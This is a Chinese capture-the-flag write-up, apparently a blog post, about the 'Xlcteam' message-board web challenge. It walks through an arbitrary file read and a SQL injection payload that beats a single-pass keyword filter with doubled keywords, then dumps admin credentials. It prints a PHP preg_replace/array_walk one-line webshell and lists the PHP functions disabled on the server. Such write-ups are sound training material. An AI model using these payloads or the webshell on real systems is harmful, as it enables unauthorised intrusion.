[Xlcteam](Web)Xlcteam客户留言板


题目地址 :
http://cms.nuptzj.cn


查看源码发现 :

image.png

似乎是个任意文件下载

http://cms.nuptzj.cn/about.php?file=so.php

image.png

可以注入 , 只要不使用单引号 , 双引号这些会被 mysql_real_escape_string 这个函数过滤掉的字符即可

之前对用户输入还调用了 antiinject 这个函数进行过滤

通过任意文件读取漏洞读到该函数的源码

antiinject.php

<?php
function antiinject($content){
    $keyword=array('select','union','and','from',' ',''',';',''','char','or','count','master','name','pass','admin','+','-','order','=');
    $info=strtolower($content);
    for($i=0;$i<=count($keyword);$i++){
     $info=str_replace($keyword[$i], '',$info);
    }
    return $info;
}
?>

把 union/select 等关键字替换成空了 , 但是只替换了一次 , 那么 seselectlect 这样就可以绕过
所以 Payload 如下 :

image.png
soid=1/**/ununionion/**/seleselectct/**/1,2,3,4/**/limit/**/1,1
表名 : 
admin
    username
    userpass
        admin, 102 117 99 107 114 117 110 116 117
filename
    id
    path
        1,compass.php
        2,arlogined.php
hackerip
message
    say
    nice
image.png

拿到后台用户名和密码 :

admin/fuckruntu
image.png

在这里拿到后台地址 :

http://cms.nuptzj.cn/loginxlcteam/index.php

image.png
image.png

再读一下小马的源码 , 发现是 php 的 preg_replace 后门 , 利用即可

<?php
$e = $_REQUEST['www'];
$arr = array($_POST['wtf'] => '|.*|e',);
array_walk($arr, $e, '');
?>

http://php.net/manual/zh/function.array-walk.php

image.png

但是似乎禁用了很多函数 :

image.png
symlink
link
exec
system
escapeshellcmd
escapeshellarg
passthru
shell_exec
proc_open
proc_close
proc_terminate
proc_get_status
proc_nice
dl
pclose
popen
stream_socket_server
stream_socket_accept
stream_socket_pair
stream_wrapper_restore
mail
mb_send_mail
posix_kill
apache_child_terminate
apache_lookup_uri
apache_reset_timeout
apache_setenv
virtual
socket_create
socket_create_pair
realpath_cache_get
opcache_compile_file
opcache_get_configuration
opcache_get_status
opcache_invalidate
opcache_is_script_cached
opcache_reset   symlink
link
exec
system
escapeshellcmd
escapeshellarg
passthru
shell_exec
proc_open
proc_close
proc_terminate
proc_get_status
proc_nice
dl
pclose
popen
stream_socket_server
stream_socket_accept
stream_socket_pair
stream_wrapper_restore
mail
mb_send_mail
posix_kill
apache_child_terminate
apache_lookup_uri
apache_reset_timeout
apache_setenv
virtual
socket_create
socket_create_pair
realpath_cache_get
opcache_compile_file
opcache_get_configuration
opcache_get_status
opcache_invalidate
opcache_is_script_cached
opcache_reset

只能手动来绕过被禁用的函数拿到 flag 了
参考文章 :

http://www.jianshu.com/p/33bc37ef72cc

image.png
Array
(
    [0] => .
    [1] => ..
    [2] => about.php
    [3] => antiinject.php
    [4] => antixss.php
    [5] => config.php
    [6] => index.php
    [7] => list.php
    [8] => loginxlcteam
    [9] => passencode.php
    [10] => preview.php
    [11] => say.php
    [12] => sm.txt
    [13] => so.php
    [14] => xlcteam.php
    [15] => 恭喜你获得flag2.txt
)
Array
(
    [0] => .
    [1] => ..
    [2] => arlogined.php
    [3] => conpass.php
    [4] => index.php
)
image.png

继续利用 file_get_contents

image.png
<?php
//后台登陆
include './../config.php';
include './../passencode.php';
session_start();
$username=$_POST['username'];
$userpass=$_POST['userpass'];
if($username=="" || $userpass==""){
echo "<script>alert('用户名或密码不能为空!');window.location = './index.php'</script>";
exit();
}
$con = mysql_connect($db_address,$db_user,$db_pass) or die("不能连接到数据库!!".mysql_error());
mysql_select_db($db_name,$con);
$username=mysql_real_escape_string($username);
$userpass=passencode($userpass);

$result=mysql_query("SELECT * FROM admin WHERE username='$username'",$con);
//知道我写这个存在漏洞的密码验证算法浪费了多少时间么?! 哭~
if(mysql_num_rows($result)<=0){
echo "<script>alert('用户名不存在');window.location = './index.php'</script>";
mysql_free_result($result);
mysql_close($con);
exit();
}

while($rs=mysql_fetch_array($result)){
if($rs['username']==$username){
if(strlen($userpass)!=strlen($rs['userpass'])){
echo "<script>alert('密码错误:长度不一致!');window.location = './index.php'</script>";
mysql_free_result($result);
mysql_close($con);
exit();
}
}
for($i=0;$i<=strlen($userpass);++$i){
if(strncmp($userpass,$rs['userpass'],$i)!=0){
echo "<script>alert('密码错误:比较第 $i 位错误!');window.location = './index.php'</script>";
break;
}else{
if($i==strlen($userpass)){
$_SESSION['state']="已登录";
setcookie('username','');
setcookie('userpass','');
setcookie('username',"$username",time()+1200,"/");
setcookie('userpass',"$userpass",time()+1200,"/");
$file=mysql_query("SELECT * FROM filename where id=2");
$path=mysql_fetch_array($file);
echo "<script>window.location = '".$path['path']."'</script>";
mysql_free_result($result);
mysql_free_result($file);
mysql_close($con);
exit();
}
}
}
mysql_free_result($result);
mysql_close($con);
}
?>
<?php
session_start();
if(!isset($_SESSION['state'])){
echo "<script>alert('请先登陆!');window.location = './index.php'</script>";
exit();
}else{
if($_SESSION['state']!="已登录"){
echo "<script>alert('请先登陆!');window.location = './index.php'</script>";
exit();
}
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Xlcteam留言板系统后台</title>
</head>

<body>
<center>
    <h1>恭喜你已拿下后台,离爆菊只差一步了flag1:nctf{}</h1>
  <p>&nbsp;</p>
  <hr />
  <h3>能来到这里,相信也不是只会用工具的脚本小子了</h3>
  <h3>现在离爆菊只差一步了</h3>
  <hr />
  <h3>因为程序猿连后台都懒得开发了,为了方便管理,他邪恶地放了一个一句话木马在网站的根目录下<br />
    小马的文件名为:xlcteam.php
        <?php /*
        include './../config.php';
        $con = mysql_connect($db_address,$db_user,$db_pass) or die("不能连接到数据库!!".mysql_error());
    mysql_select_db($db_name,$con);
    mysql_query("set names gb2312");
        $file=mysql_query("SELECT * FROM filename where id=3");
    $filename=mysql_fetch_array($file);
        echo $filename['name'];*/
        ?>
         </h3>
        <hr />
        <h4>黑阔,哎哟~不错哦
    </h4>
</center>
</body>
</html>
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 158,425评论 4 361
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,058评论 1 291
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 108,186评论 0 243
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,848评论 0 204
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,249评论 3 286
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,554评论 1 216
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,830评论 2 312
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,536评论 0 197
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,239评论 1 241
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,505评论 2 244
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,004评论 1 258
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,346评论 2 253
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 32,999评论 3 235
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,060评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,821评论 0 194
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,574评论 2 271
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,480评论 2 267

推荐阅读更多精彩内容

  • 一套实用的渗透测试岗位面试题,你会吗? 1.拿到一个待检测的站,你觉得应该先做什么? 收集信息 whois、网站源...
    g0阅读 4,689评论 0 9
  • Spring Cloud为开发人员提供了快速构建分布式系统中一些常见模式的工具(例如配置管理,服务发现,断路器,智...
    卡卡罗2017阅读 134,099评论 18 139
  • 之前积累了XSS 有一段时间,因为目前开始了一件有趣的工程,需要整合非常多的知识,其中Web 安全这一块出现最多的...
    刀背藏身阅读 8,920评论 0 16
  • (源自摘抄整理)https://www.91ri.org/11494.html Webshell实现与隐藏探究 一...
    JackyTsuuuy阅读 20,317评论 2 13
  • 刚刚用Xcode真机运行一个程序,报错了。。。 顺便说一下,本人喜欢将Xcode重命名为Xcode版本号,如果复制...
    eastCloud阅读 186评论 0 0